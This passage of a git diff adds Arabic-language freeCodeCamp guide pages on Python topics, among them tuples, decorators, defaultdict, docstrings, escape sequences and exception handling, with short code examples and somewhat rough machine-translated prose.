+    the iterable, 
+    >>> a_tuple is b_tuple          # the tuple argument is returned. 
+    True 
+` 
+
+**الوصول إلى عناصر `tuple` :**
+
+يتم الوصول إلى عناصر `tuples` ويتم فهرستها بنفس الطريقة التي تكون بها `lists` .
+
+ `    >>> my_tuple = 1, 2, 9, 16, 25 
+    >>> print(my_tuple) 
+    (1, 2, 9, 16, 25) 
+` 
+
+_صفر مفهرسة_
+
+ `    >>> my_tuple[0] 
+    1 
+    >>> my_tuple[1] 
+    2 
+    >>> my_tuple[2] 
+    9 
+` 
+
+_التفاف حول الفهرسة_
+
+ `    >>> my_tuple[-1] 
+    25 
+    >>> my_tuple[-2] 
+    16 
+` 
+
+**التعبئة والتفريغ:**
+
+العبارة `t = 12345, 54321, 'hello!'` مثال على تعبئة المجموعة: القيم `12345` و `54321` و `'hello!'` هي معبأة معا في صف. العملية العكسية ممكنة أيضا:
+
+ `    >>> x, y, z = t 
+` 
+
+وهذا ما يسمى ، بشكل مناسب ، تسلسل التفريغ ويعمل لأي تسلسل على الجانب الأيمن. يتطلب تفريغ التسلسل وجود العديد من المتغيرات على الجانب الأيسر من علامة المساواة حيث توجد عناصر في التسلسل. لاحظ أن التعيين المتعدد هو في الحقيقة مجرد مجموعة من تعبئة المجموعة وتسلسل تفريغ.
+
+ `    >>> t = 1, 2, 3    # Tuple packing. 
+    >>> print(t) 
+    (1, 2, 3) 
+    >>> a, b, c = t    # Sequence unpacking. 
+    >>> print(a) 
+    1 
+    >>> print(b) 
+    2 
+    >>> print(c) 
+    3 
+    >>> d, e, f = 4, 5, 6    # Multiple assignment combines packing and unpacking. 
+    >>> print(d) 
+    4 
+    >>> print(e) 
+    5 
+    >>> print(f) 
+    6 
+    >>> a, b = 1, 2, 3       # Multiple assignment requires each variable (right) 
+    have a matching element (left). 
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+    ValueError: too many values to unpack (expected 2) 
+` 
+
+**ثابت:**
+
+`tuples` عبارة عن حاويات غير قابلة للتغيير ، **مما** يضمن عدم تغير الكائنات التي تحتوي عليها. أنه **لا** يضمن أن الكائنات التي يحتوي لن يتغير:
+
+ `    >>> a_list = [] 
+    >>> a_tuple = (a_list,)    # A tuple (immutable) with a list (mutable) element. 
+    >>> print(a_tuple) 
+    ([],) 
+ 
+    >>> a_list.append("Hello campers!") 
+    >>> print(a_tuple)         # Element of the immutable is mutated. 
+    (['Hello campers!'],) 
+` 
+
+**الاستخدامات:**
+
+وظائف لا يمكن إلا بإرجاع قيمة واحدة، ومع ذلك، heterogenuous `tuple` يمكن استخدامها لإرجاع القيم متعددة من دالة. أحد الأمثلة على ذلك هو دالة `enumerate` المضمنة التي تقوم بإرجاع متكرر من `tuples` غير المتجانسة:
+
+ `    >>> greeting = ["Hello", "campers!"] 
+    >>> enumerator = enumerate(greeting) 
+    >>> enumerator.next() 
+    >>> enumerator.__next__() 
+    (0, 'Hello') 
+    >>> enumerator.__next__() 
+    (1, 'campers!') 
+` 
+
+### مزيد من المعلومات:
+
+[Python Docs - Tuples](https://docs.python.org/3/library/stdtypes.html#tuples)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/decorators/index.md b/client/src/guide/arabic/python/decorators/index.md
new file mode 100644
index 0000000000..246ae68c57
--- /dev/null
+++ b/client/src/guide/arabic/python/decorators/index.md
@@ -0,0 +1,263 @@
+---
+title: Python Decorators
+localeTitle: بايثون ديكور
+---
+يعمل المصممون أساسا كأغلفة. يقوموا بتعديل سلوك الشفرة قبل وبعد تنفيذ وظيفة الهدف ، دون الحاجة إلى تعديل الوظيفة نفسها ، وزيادة الوظيفة الأصلية ، وبالتالي تزيينها.
+
+قبل الذهاب بالتفصيل عن الديكور ، هناك بعض المفاهيم التي يجب أن تكون واضحة. في بايثون ، تعتبر الوظائف كائنات ويمكننا القيام بالكثير من الأشياء المفيدة معهم.
+
+> ### تعيين funtions إلى متغيرات:
+
+ `def greet(name): 
+  return "Hello "+name 
+ greet_someone = greet 
+ print greet_someone("John") 
+` 
+
+> الإخراج: مرحبا جون
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXGk)
+
+> ### تحديد وظائف داخل وظائف أخرى:
+
+ `def greet(name): 
+  def get_message(): 
+    return "Hello " 
+  result = get_message()+name 
+  return result 
+ print(greet("John")) 
+` 
+
+> الإخراج: مرحبا جون
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXGu)
+
+> ### يمكن أيضًا تمرير الوظائف كمعلمات إلى وظائف أخرى:
+
+ `def greet(name): 
+  return "Hello " + name 
+ def call_func(func): 
+  other_name = "John" 
+  return func(other_name) 
+ print call_func(greet) 
+` 
+
+> الإخراج: مرحبا جون
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHC)
+
+> ### يمكن وظائف إرجاع وظائف أخرى:
+> 
+> وبعبارة أخرى ، وظائف توليد وظائف أخرى.
+
+ `def compose_greet_func(): 
+  def get_message(): 
+    return "Hello there!" 
+  return get_message 
+ greet = compose_greet_func() 
+ print(greet()) 
+` 
+
+الإخراج: مرحبًا بكم!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHG)
+
+> ### يمكن للوظائف الداخلية الوصول إلى النطاق المرفق
+> 
+> أكثر شيوعا المعروف باسم [إغلاق](http://www.shutupandship.com/2012/01/python-closures-explained.html) . نمط قوي للغاية سوف نواجهه أثناء بناء الديكور. شيء آخر لملاحظة ، Python يسمح فقط [قراءة الوصول إلى النطاق الخارجي](http://www.tech-thoughts-blog.com/2013/07/writing-closure-in-python.html) وليس الواجب. لاحظ كيف قمنا بتعديل المثال أعلاه لقراءة وسيطة "الاسم" من النطاق المرفق للدالة الداخلية وإرجاع الدالة الجديدة.
+
+ `def compose_greet_func(name): 
+  def get_message(): 
+      return "Hello there "+name+"!" 
+  return get_message 
+ greet = compose_greet_func("John") 
+ print(greet()) 
+` 
+
+> الإخراج: مرحبًا يا جون!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHI)
+
+## تركيب ديكور
+
+إن أدوات الديكور الوظيفية عبارة عن أغلفة بسيطة للوظائف الموجودة. وضع الأفكار المذكورة أعلاه معا ، يمكننا بناء الديكور. في هذا المثال دعنا نأخذ في الاعتبار دالة تقوم بإخراج إخراج سلسلة دالة أخرى بواسطة علامات p.
+
+ ``def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ my_get_text = p_decorate(get_text) 
+ print (my_get_text("John")) 
+`` 
+
+> الإخراج: `<p>` lorem ipsum، John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHL)
+
+كان هذا أول مصمم لنا. تقوم الوظيفة التي تأخذ وظيفة أخرى كوسيطة ، بإنشاء دالة جديدة ، زيادة عمل الوظيفة الأصلية ، وإرجاع الدالة التي تم إنشاؤها حتى نتمكن من استخدامها في أي مكان. لكي يكون `get_text` حد ذاته مزينًا بـ `p_decorate` ، يجب علينا فقط تعيين _نص إلى نتيجة p_ decorate.
+
+ `get_text = p_decorate(get_text) 
+ print (get_text("John")) 
+` 
+
+> إخراج: أبجد هوز ، جون دولور الجلوس امات
+
+شيء آخر هو أن نلاحظ أن لدينا وظيفة مزينة تأخذ حجة الاسم. كل ما كان علينا القيام به في الديكور هو السماح لمجمع get\_text بتمرير هذه الحجة.
+
+> ### بنية بيثون الديكور
+
+بيثون تقوم بصنع واستخدام أدوات الزينة نظافة وألطف قليلا للمبرمج من خلال بعض [السكر النحوي](http://en.wikipedia.org/wiki/Syntactic_sugar) لتزيين الحصول على _نص ليس لدينا للحصول على_ نص = ص _ديكور (الحصول على_ النص) وهناك اختصار أنيق لذلك ، وهذا هو لذكر اسم وظيفة تزيين قبل أن تكون مزينة وظيفة. يجب أن يكون اسم الديكور مزينًا برمز @.
+
+ ``def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ @p_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print get_text("John") 
+`` 
+
+> الإخراج: `<p>` lorem ipsum، John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHN)
+
+الآن دعنا نعتبر أننا أردنا تزيين وظيفة get\_text بواسطة وظيفتين أخريين للف div وعلامة قوية حول إخراج السلسلة.
+
+ ``def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ def strong_decorate(func): 
+    def func_wrapper(name): 
+        return "`<strong>`{0}`</strong>`".format(func(name)) 
+    return func_wrapper 
+ 
+ def div_decorate(func): 
+    def func_wrapper(name): 
+        return "`<div>`{0}`</div>`".format(func(name)) 
+    return func_wrapper 
+`` 
+
+مع النهج الأساسي ، سيكون تزيين get\_text على غرار
+
+ `get_text = div_decorate(p_decorate(strong_decorate(get_text))) 
+` 
+
+مع تركيب بيثون للديكور ، يمكن تحقيق نفس الشيء من خلال قوة أكثر تعبيرا.
+
+ `@div_decorate 
+ @p_decorate 
+ @strong_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print (get_text("John")) 
+` 
+
+> الإخراج: `<div><p><strong>` أبجد هوز ، جون دولور يجلس amet `</strong></p></div>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHQ)
+
+شيء واحد مهم أن تلاحظ هنا هو أن ترتيب وضع الديكور لدينا مهم. إذا كان الطلب مختلفًا في المثال أعلاه ، فسيكون الإخراج مختلفًا. ## طرق التزيين في بايثون ، الطرق هي وظائف تتوقع أن تكون معلمتهم الأولى مرجعًا للكائن الحالي. يمكننا بناء ديكورات للأساليب بنفس الطريقة ، مع الأخذ بعين الاعتبار في وظيفة الغلاف.
+
+ ``def p_decorate(func): 
+  def func_wrapper(self): 
+    return "`<p>`{0}`</p>`".format(func(self)) 
+  return func_wrapper 
+ 
+ class Person(object): 
+  def __init__(self): 
+    self.name = "John" 
+    self.family = "Doe" 
+  @p_decorate 
+  def get_fullname(self): 
+    return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+`` 
+
+> الإخراج: `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXH2)
+
+وهناك نهج أفضل بكثير هو جعل ديكور لدينا مفيدة للوظائف والطرق على حد سواء. يمكن القيام بذلك عن طريق وضع [\* arg و \*\* kwargs](http://docs.python.org/2/tutorial/controlflow.html#arbitrary-argument-lists) كمعلمات [للمجمع](http://docs.python.org/2/tutorial/controlflow.html#arbitrary-argument-lists) ، ثم يمكنه قبول أي عدد عشوائي من الحجج [ووسائط](http://docs.python.org/2/tutorial/controlflow.html#arbitrary-argument-lists) الكلمات الرئيسية.
+
+ ``def p_decorate(func): 
+   def func_wrapper(*args, **kwargs): 
+       return "`<p>`{0}`</p>`".format(func(*args, **kwargs)) 
+   return func_wrapper 
+ 
+ class Person(object): 
+    def __init__(self): 
+        self.name = "John" 
+        self.family = "Doe" 
+    @p_decorate 
+    def get_fullname(self): 
+        return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+`` 
+
+> الإخراج: `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXH5)
+
+### تمرير الحجج إلى المصممين إذا نظرنا مرة أخرى إلى المثال الذي سبق ذكره أعلاه ، فيمكنك أن تلاحظ كيف أن الزخارف الزائدة عن الحاجة موجودة في المثال. 3 ديكورات (div _decorate، p_ decorate، strong\_decorate) لكل منها نفس الوظيفة لكن مع التفاف السلسلة بعلامات مختلفة. يمكننا بالتأكيد أن نفعل ما هو أفضل بكثير من ذلك. لماذا لا يكون هناك تنفيذ أكثر عمومية لواحد يأخذ العلامة للتغليف بها كسلسلة؟ نعم من فضلك!
+
+ `def tags(tag_name): 
+    def tags_decorator(func): 
+        def func_wrapper(name): 
+            return "<{0}>{1}</{0}>".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    return "Hello "+name 
+ 
+ print (get_text("John")) 
+` 
+
+> الإخراج: `<p>` مرحبًا يا جون `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXH6)
+
+استغرق الأمر المزيد من العمل في هذه الحالة. يتوقع المصممون الحصول على وظيفة كحجة ، وهذا هو السبب في أننا سوف نبني وظيفة تأخذ هذه الحجج الإضافية وتولّد ديكورنا على الطاير. في المثال أعلاه ، هو مولد لدينا الديكور. تصحيح الدالات المزخرفة في نهاية اليوم ، يقوم المصممون بلف وظائفنا فقط ، في حالة تصحيح الأخطاء التي يمكن أن تسبب مشكلة لأن وظيفة التجليد لا تحمل الاسم والوحدة النمطية و docstring للوظيفة الأصلية. بناءً على المثال أعلاه ، إذا قمنا بذلك:
+
+ `print (get_text.__name__) 
+` 
+
+> الإخراج: ملف func _كان من المتوقع أن يحصل_ النص _على_ نص بعد ، وقد تم تجاوز **اسم** الصفات ، و **doc** ، **ووحدة** الحصول على _النص من قبل تلك الخاصة بالملحمة (_ غلاف _func_ . من الواضح أنه يمكننا إعادة تعيينها داخل func\_wrapper لكن Python توفر الكثير طريقة أجمل # # # functools لانقاذ
+
+ ``from functools import wraps 
+ def tags(tag_name): 
+    def tags_decorator(func): 
+        @wraps(func) 
+        def func_wrapper(name): 
+            return "`<{0}>`{1}`</{0}>`".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    """returns some text""" 
+    return "Hello "+name 
+ 
+ print (get_text.__name__) # get_text 
+ print (get_text.__doc__) # returns some text 
+ print (get_text.__module__) # __main__ 
+`` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CXHb)
+
+يمكنك ملاحظة من الخاتمة أن سمات get\_text هي الصحيحة الآن.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/defaultdict/index.md b/client/src/guide/arabic/python/defaultdict/index.md
new file mode 100644
index 0000000000..87201304e3
--- /dev/null
+++ b/client/src/guide/arabic/python/defaultdict/index.md
@@ -0,0 +1,129 @@
+---
+title: Python defaultdict
+localeTitle: Python defaultdict
+---
+## Python defaultdict
+
+القاموس هو واحد من أكثر هياكل البيانات المستخدمة في بايثون. القاموس هو مجموعة غير مرتبة من العناصر وعادة ما يكون لدينا مفاتيح وقيم مخزنة في القاموس. دعونا نلقي نظرة على بعض الأمثلة لكيفية استخدام القاموس عادة.
+
+ `# dictionary declaration 1 
+ dict1 = dict() 
+ 
+ # dictionary declaration 2 
+ dict2 = {} 
+ 
+ # Add items to the dictionary 
+ # The syntax to add and retrieve items is same for either of the two objects we defined above. 
+ key = "X" 
+ value = "Y" 
+ dict1[key] = value 
+ 
+ # The dictionary doesn't have any specific data-type. 
+ # So, the values can be pretty diverse. 
+ dict1[key] = dict2 
+` 
+
+دعونا ننظر الآن في بعض طرق الاسترجاع.
+
+ ``# Since "X" exists in our dictionary, this will retrieve the value 
+ value = dict1[key] 
+ 
+ # This key doesn't exist in the dictionary. 
+ # So, we will get a `KeyError` 
+ value = dict1["random"] 
+`` 
+
+### تجنب KeyError: استخدم وظيفة .get
+
+في حالة عدم وجود المفتاح المحدد في القاموس ، فإن Python `KeyError` . هناك حل بسيط لهذا. دعونا ننظر في كيف يمكننا تجنب `KeyError` باستخدام مدمج وظيفة `.get` .
+
+ `dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ # The most basic way of doing this is to check if the key 
+ # exists in the dictionary or not and only retrieve if the 
+ # key exists. Otherwise not. 
+ if random_key in dict_: 
+  print(dict_[random_key]) 
+ else: 
+  print("Key = {} doesn't exist in the dictionary".format(dict_)) 
+` 
+
+في كثير من الأحيان ، نوافق على الحصول على قيمة افتراضية عندما لا يكون المفتاح موجودًا. على سبيل المثال عندما بناء عداد. هناك طريقة أفضل للحصول على القيم الافتراضية من القاموس في حالة مفاتيح مفقودة بدلاً من الاعتماد على معيار `if-else` .
+
+ `# Let's say we want to build a frequency counter for items in the following array 
+ arr = [1,2,3,1,2,3,4,1,2,1,4,1,2,3,1] 
+ 
+ freq = {} 
+ 
+ for item in arr: 
+  # Fetch a value of 0 in case the key doesn't exist. Otherwise, fetch the stored value 
+  freq[item] = freq.get(item, 0) + 1 
+` 
+
+لذا ، تعد عملية `get(<key>, <defaultval>)` عملية سهلة لاسترجاع القيمة الافتراضية لأي مفتاح محدد من القاموس. تأتي مشكلة هذه الطريقة عندما نريد التعامل مع هياكل البيانات القابلة للتغيير مثل القيم على سبيل المثال `list` أو `set` .
+
+ `dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ dict_[random_key] = dict_.get(random_key, []).append("Hello World!") 
+ print(dict_) # {'random': None} 
+ 
+ dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()).add("Hello World!") 
+ print(dict_) # {'random': None} 
+` 
+
+هل رأيت المشكلة؟
+
+لا يتم `set` الجديدة أو `list` الجديدة لمفتاح القاموس. يجب علينا تعيين `list` جديدة أو `set` إلى المفتاح في حالة القيمة المفقودة ثم `append` أو `add` على التوالي. نظرة لي على سبيل المثال لهذا.
+
+ `dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+ print(dict_) # {'random': set(['Hello World!'])}. Yay! 
+` 
+
+### تجنب KeyError: استخدم defaultdict
+
+هذا يعمل أكثر من مرة. ومع ذلك ، هناك طريقة أفضل للقيام بذلك. طريقة أكثر `pythonic` . `defaultdict` هو فئة فرعية للفئة dict المضمنة. يقوم `defaultdict` ببساطة بتعيين القيمة الافتراضية التي `defaultdict` في حالة وجود مفتاح مفقود. لذا ، فإن الخطوتين:
+
+ `dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+` 
+
+يمكن الآن دمجها في خطوة واحدة. على سبيل المثال
+
+ `from collections import defaultdict 
+ 
+ # Yet another random key 
+ random_key = "random_key" 
+ 
+ # list defaultdict 
+ list_dict_ = defaultdict(list) 
+ 
+ # set defaultdict 
+ set_dict_ = defaultdict(set) 
+ 
+ # integer defaultdict 
+ int_dict_ = defaultdict(int) 
+ 
+ list_dict_[random_key].append("Hello World!") 
+ set_dict_[random_key].add("Hello World!") 
+ int_dict_[random_key] += 1 
+ 
+ """ 
+  defaultdict(<class 'list'>, {'random_key': ['Hello World!']}) 
+  defaultdict(<class 'set'>, {'random_key': {'Hello World!'}}) 
+  defaultdict(<class 'int'>, {'random_key': 1}) 
+ """ 
+ print(list_dict_, set_dict_, int_dict_) 
+` 
+
+* * *
+
+[المستندات الرسمية](https://docs.python.org/2/library/collections.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/defining-functions/index.md b/client/src/guide/arabic/python/defining-functions/index.md
new file mode 100644
index 0000000000..f1549c2ade
--- /dev/null
+++ b/client/src/guide/arabic/python/defining-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Defining Functions
+localeTitle: بيثون تعريف وظائف
+---
+[بيثون مستندات](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
+
+يمكننا إنشاء وظيفة تكتب سلسلة فيبوناتشي إلى حد تعسفي:
+
+ `>>> def fib(n):    # write Fibonacci series up to n 
+ ...     """Print a Fibonacci series up to n.""" 
+ ...     a, b = 0, 1 
+ ...     while a < n: 
+ ...         print(a, end=' ') 
+ ...         a, b = b, a+b 
+ ...     print() 
+ ... 
+ >>> # Now call the function we just defined: 
+ ... fib(2000) 
+ 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 
+` 
+
+تقدم الكلمة المفتاحية [`def`](https://docs.python.org/3/reference/compound_stmts.html#def) تعريف دالة. يجب أن يتبعه اسم الوظيفة وقائمة المعلمات الرسمية. تبدأ العبارات التي تشكل نص الدالة في السطر التالي ويجب أن يتم وضع مسافة بادئة لها.
+
+يمكن أن يكون البيان الأول للجسم الوظيفي عبارة عن سلسلة حرفية ؛ هذه السلسلة الحرفية عبارة عن سلسلة وثائق الدالة ، أو [docstring](https://www.python.org/dev/peps/pep-0257/) (يمكن العثور على المزيد حول docstrings في قسم وثائق السلاسل). تستخدم بعض الأدوات مستندات التوثيق لإنتاج المستندات عبر الإنترنت أو المطبوع تلقائيًا أو للسماح للمستخدم بالتصفح عبر الشفرة بشكل تفاعلي. من الممارسات الجيدة أن تقوم بتضمين التوثيق في الكود الذي تكتبه ، لذا حاول أن تعتاد عليه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/difference-between-is-and-equal-equal-operators/index.md b/client/src/guide/arabic/python/difference-between-is-and-equal-equal-operators/index.md
new file mode 100644
index 0000000000..7b1159a41b
--- /dev/null
+++ b/client/src/guide/arabic/python/difference-between-is-and-equal-equal-operators/index.md
@@ -0,0 +1,26 @@
+---
+title: Difference between Python 'is' and '==' operators
+localeTitle: الفرق بين معاملات Python 'is' و '=='
+---
+`is` التحقق من هوية الكائن - أي التحقق مما إذا كان هناك متغيرين أو أكثر يشيران إلى نفس الكائن. لا يمكن أن يكون الزائد `is` .
+
+`==` تقييم `==` إلى true إذا كان الكائن المشار إليه بواسطة المتغيرات مساوياً. يمكنك التحميل الزائد `==` عبر مشغل `__eq__` .
+
+## قيمة الإرجاع
+
+ستكون قيمة الإرجاع لكل منهما `True` أو `False` .
+
+## عينة الكود
+
+ `a = 2.3 
+ a is 2.3  # => False 
+ a == 2.3  # => True 
+ 
+ a = [234,123,321] 
+ b = [234,123,321] 
+ a == b  # => True 
+ a is b  # => False 
+ a = b 
+ a == b  # => True 
+ a is b  # => True, because if we change a, b changes too 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/docstring/index.md b/client/src/guide/arabic/python/docstring/index.md
new file mode 100644
index 0000000000..f2673a9660
--- /dev/null
+++ b/client/src/guide/arabic/python/docstring/index.md
@@ -0,0 +1,65 @@
+---
+title: Docstring
+localeTitle: Docstring
+---
+## Docstring
+
+Docstring هو وسيلة للمطورين لتوصيل الغرض ، والمعلمات والمتطلبات ، واستخدام وظيفة في بيثون للمطورين الآخرين. وهو يتيح سهولة صيانة الكود وفهمه.
+
+على عكس تعليقات كود المصدر التقليدية يجب أن يصف docstring ما وظيفة لا ، كيف.
+
+من الأمثلة المشابهة على DocstringJavadoc في جافا.
+
+تتم كتابة Docstring كتعليق متعدد الأسطر بعد رأس الإعلان في Python مباشرة. هناك 4 أجزاء مختلفة لأوراق التوزيع:
+
+1.  نوع المدخلات ونوع المخرجات
+    *   يمكن أن يكون الإدخال / الإخراج `obj, list, bool, int, str, float`
+2.  وصف الوظيفة
+    *   موجز ، ولكن وصف دقيق لما تقوم به وظيفتك
+3.  المتطلبات
+    *   قراءة هذا من قبل الإنسان ، لذلك ليس من الضروري أن يكون رمز
+4.  حالات الاختبار (عادة 2-3)
+
+التنسيق العام مدرج أدناه.
+
+## تنسيق Docstring
+
+ `def my_examplefunc(input_type1, input_type2): 
+  '''(input_type1, input_type2) -> output_type        # Your first line will be the input/output. Remember the space around the arrow! 
+  Here is a description of my example function        # Your second line will be the description 
+  REQ: type(input_type1) == list                      # Your next line (or lines) will be the requirements for the input of your function 
+  REQ: type(input_type2) == str 
+  >>> my_example_func([2, 3], "Hello World!")         # After the requirements come test cases 
+  [2, 3] "Hello World" 
+  >>> my_example_func([7, 2], "Another test case")    # Your first line of the test case is an example of the usage, prefaced by >>> 
+  [7, 2] "Another test case"                          # Your second line of the test case is the output 
+  >>> my_example_func([5, 6], "Last test case") 
+  [5, 6] "Last test case" 
+  ''' 
+  # Your code goes here, underneath the Docstring 
+` 
+
+من الأفضل فهم Docstring بأمثلة ، لذا ألق نظرة على برنامج المثال أدناه حيث يخرج البرنامج True إذا كان الرقم أقل من 5 ، و False إذا كان الرقم أكبر من 5.
+
+## مثال 1
+
+ `def is_less_than_five(some_number): 
+  '''(int) -> bool 
+  Returns True if the given number is less than 5, and False is the given number is greater than 5. 
+  REQ: some_number != 5 
+  >>> is_less_than_five(4) 
+  True 
+  >>> is_less_than_five(6) 
+  False 
+  >>> is_less_than_five(100000) 
+  False 
+  ''' 
+  # Your code goes here 
+` 
+
+### بعض الروابط المفيدة:
+
+تعتبر Numpy و Google Docstrings منهجين شائع الاستخدام:
+
+*   Google: http://sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_google.html
+*   Numpy: http://sphinxcontrib-napoleon.readthedocs.io/en/latest/example\_numpy.html أيضًا ، يرجى الرجوع إلى بعض التعليقات الجيدة السابقة حول PEP: https://www.python.org/dev/peps/pep-0257/
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/escape-sequences/index.md b/client/src/guide/arabic/python/escape-sequences/index.md
new file mode 100644
index 0000000000..9aed4162bc
--- /dev/null
+++ b/client/src/guide/arabic/python/escape-sequences/index.md
@@ -0,0 +1,36 @@
+---
+title: Python Escape Sequences
+localeTitle: بيثون الهروب التسلسل
+---
+يمكن العثور على قائمة بتسلسلات الهروب [هنا](https://docs.python.org/3/reference/lexical_analysis.html#strings)
+
+تسمح تتابعات الهروب بإدراج حروف خاصة في سلاسل.
+
+ `>>> print('Single quote strings can have \'single\' quotes if they are escaped') 
+ "Single quote strings can have 'single' quotes if they are escaped" 
+ >>> print("Double quote strings can have \"double\" quotes if they are escaped") 
+ 'Double quote strings can have "double" quotes if they are escaped' 
+ >>> print("Multiline strings\ncan be created\nusing escape sequences.") 
+ Multiline strings 
+ can be created 
+ using escape sequences. 
+ >>> print("Backslashes \\ need to be escaped.") 
+ Backslashes \ need to be escaped. 
+` 
+
+يمكن استخدام سلسلة _أولية_ عن طريق إدخال السلسلة مع `r` أو `R` التي تسمح بتضمين الخطوط المائلة العكسية دون الحاجة إلى الهروب منها -
+
+ `>>> print(r"Backslashes \ don't need to be escaped in raw strings.") 
+ Backslashes \ don't need to be escaped in raw strings. 
+ >>> print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+  File "<stdin>", line 1 
+    print(r"An odd number of backslashes at the end of a raw string will cause an error\") 
+                                                                                         ^ 
+ SyntaxError: EOL while scanning string literal. 
+` 
+
+\# بعض الأمثلة الإضافية من تسلسلات الهروب. تسلسل الهروب  
+\\ يطبع Backslash  
+\`يطبع واحد الاقتباس  
+\\ "يطبع الاقتباس المزدوج  
+\\ a جرس ASCII يجعل رنين أصوات تنبيه الجرس (على سبيل المثال. xterm) \\ b ASCII backspace (BS) يزيل الحرف السابق \\ n يضيف السطر الجديد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/exception-and-error-handling/index.md b/client/src/guide/arabic/python/exception-and-error-handling/index.md
new file mode 100644
index 0000000000..37a6b20787
--- /dev/null
+++ b/client/src/guide/arabic/python/exception-and-error-handling/index.md
@@ -0,0 +1,30 @@
+---
+title: Exceptions and Errors Handling
+localeTitle: الاستثناءات ومعالجة الأخطاء
+---
+## الاستثناءات ومعالجة الأخطاء
+
+عند إنشاء برنامج ، يمكننا ارتكاب الأخطاء التي تنتهي بالأخطاء ، وأسوأ البرامج التي نجعلها تتوقف عن العمل ، سيكون الأمر مزعجًا أكثر إذا لم نتمكن من العثور على أخطاء في الشفرة التي قمنا بها أو ما هو الخطأ. بكلمات بسيطة ، الأخطاء هي شيء يتجنبه المبرمجون في صنع برنامج. لحل هذه المشكلة في python يمكننا استخدام `try` `except`
+
+مثال:
+
+ `>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except: 
+ >>> . . . print "error" 
+ error 
+` 
+
+وإذا كنت ترغب في الحصول على رسائل خطأ بمزيد من التفاصيل من التعليمات البرمجية ، فيمكنك إضافة وسائط `except Exception as err`
+
+ `>>> try: 
+ >>> . . . print "this is not a string "+1 
+ >>> except Exception as err: 
+ >>> . . . print "error:\n"+str(err) 
+ error: 
+ cannot concatenate 'str' and 'int' objects 
+` 
+
+معلومات اكثر:
+
+[وثائق](https://docs.python.org/2/tutorial/errors.html) الأخطاء والاستثناءات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/files-and-io/index.md b/client/src/guide/arabic/python/files-and-io/index.md
new file mode 100644
index 0000000000..9f5a5d6968
--- /dev/null
+++ b/client/src/guide/arabic/python/files-and-io/index.md
@@ -0,0 +1,111 @@
+---
+title: Files and IO
+localeTitle: الملفات و IO
+---
+## الملفات و IO
+
